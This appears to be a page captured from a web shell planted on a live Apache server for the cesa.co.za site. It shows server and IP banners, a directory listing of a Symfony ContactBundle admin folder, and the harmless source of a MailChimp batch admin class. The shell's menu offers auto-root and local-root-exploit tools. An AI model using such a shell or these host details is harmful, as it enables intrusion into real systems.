Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
ContactBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
ArrayProxyQuery.php
2.37
KB
-rwxrwxr-x
2026-05-25 12:28
ContactMethodAdmin.php
1.39
KB
-rwxrwxr-x
2026-05-18 12:51
ContactReasonAdmin.php
1.39
KB
-rwxrwxr-x
2026-05-18 12:51
MailChimpBatchAdmin.php
4.31
KB
-rwxrwxr-x
2026-05-18 12:51
MessageAdmin.php
3.04
KB
-rwxrwxr-x
2026-05-18 12:51
MessageCreditAdmin.php
5.68
KB
-rwxrwxr-x
2026-05-18 12:51
MessageErrorAdmin.php
3.08
KB
-rw-r--r--
2026-06-24 12:09
MessageRecipientAdmin.php
3.06
KB
-rwxrwxr-x
2026-05-18 12:51
MessageTypeAdmin.php
1.37
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
1.9
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\ContactBundle\Admin; use Sonata\AdminBundle\Admin\AbstractAdmin; use Sonata\AdminBundle\Route\RouteCollectionInterface; use Sonata\AdminBundle\Show\ShowMapper; use Sonata\AdminBundle\Form\FormMapper; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\HttpFoundation\Request; /** * MailChimp Batch Admin * * @author Otto Saayman <otto@igotafrica.com> * @package ContactBundle * @subpackage Admin * @version 0.0.1 */ class MailChimpBatchAdmin extends AbstractAdmin { protected function generateBaseRouteName(bool $isChildAdmin = false): string { return 'mailchimp_batch'; } protected function generateBaseRoutePattern(bool $isChildAdmin = false): string { return 'mailchimp_batch'; } /** * Container * @var ContainerInterface */ protected $container; /** * @return null */ public function setContainer($container) { $this->container = $container; } /** * @return ContainerInterface */ public function getContainer() { return $this->container; } /** * Configure list fields * @param ListMapper $listMapper * @return void */ protected function configureListFields(ListMapper $listMapper): void { $listMapper ->add('id', null, ['label' => 'Batch ID']) ->add('status', null, [ 'label' => 'Status', ]) ->add('totalOperations', null, ['label' => 'Total Operations']) ->add('finishedOperations', null, ['label' => 'Finished Operations']) ->add('erroredOperations', null, ['label' => 'Errored Operations']) ->add('submittedAt', null, ['label' => 'Submitted At']) ->add('completedAt', null, ['label' => 'Completed At']) ->add('_action', 'actions', [ 'label' => 'Actions', 'actions' => [ 'show' => [], 'refresh' => [ 'template' => '@ContactBundle/Admin/MailChimpBatch/list__action_refresh.html.twig' ] ] ]) ; } protected function configureShowFields(ShowMapper $showMapper): void { $showMapper ->add('id', null, ['label' => 'Batch ID']) ->add('status', null, ['label' => 'Status']) ->add('totalOperations', null, ['label' => 'Total Operations']) ->add('finishedOperations', null, ['label' => 'Finished Operations']) ->add('erroredOperations', null, ['label' => 'Errored Operations']) ->add('submittedAt', null, ['label' => 'Submitted At']) ->add('completedAt', null, ['label' => 'Completed At']) ->add('responseBodyUrl', null, [ 'label' => 'Response URL', 'template' => '@ContactBundle/Admin/MailChimpBatch/show__responseBodyUrl.html.twig' ]) ->add('jsonReports', null, [ 'label' => 'JSON Reports', 'template' => '@ContactBundle/Admin/MailChimpBatch/show__jsonReports.html.twig' ]) ; } protected function configureRoutes(RouteCollectionInterface $collection): void { $collection ->remove('create') ->remove('edit') ->remove('delete') ->add('refresh', $this->getRouterIdParameter() . '/refresh') ; } /** * Refresh batch from MailChimp API */ public function refreshAction($id) { $object = $this->admin->getObject($id); if (!$object) { throw new \Symfony\Component\HttpKernel\Exception\NotFoundHttpException('Batch not found'); } $batchManager = $this->getContainer()->get('contact.mailchimp_batch.manager'); $success = $batchManager->refreshBatch($object->getId()); if ($success) { $this->addFlash('sonata_flash_success', 'Batch refreshed successfully from MailChimp'); } else { $this->addFlash('sonata_flash_error', 'Failed to refresh batch from MailChimp'); } return $this->redirect($this->admin->generateUrl('list')); } }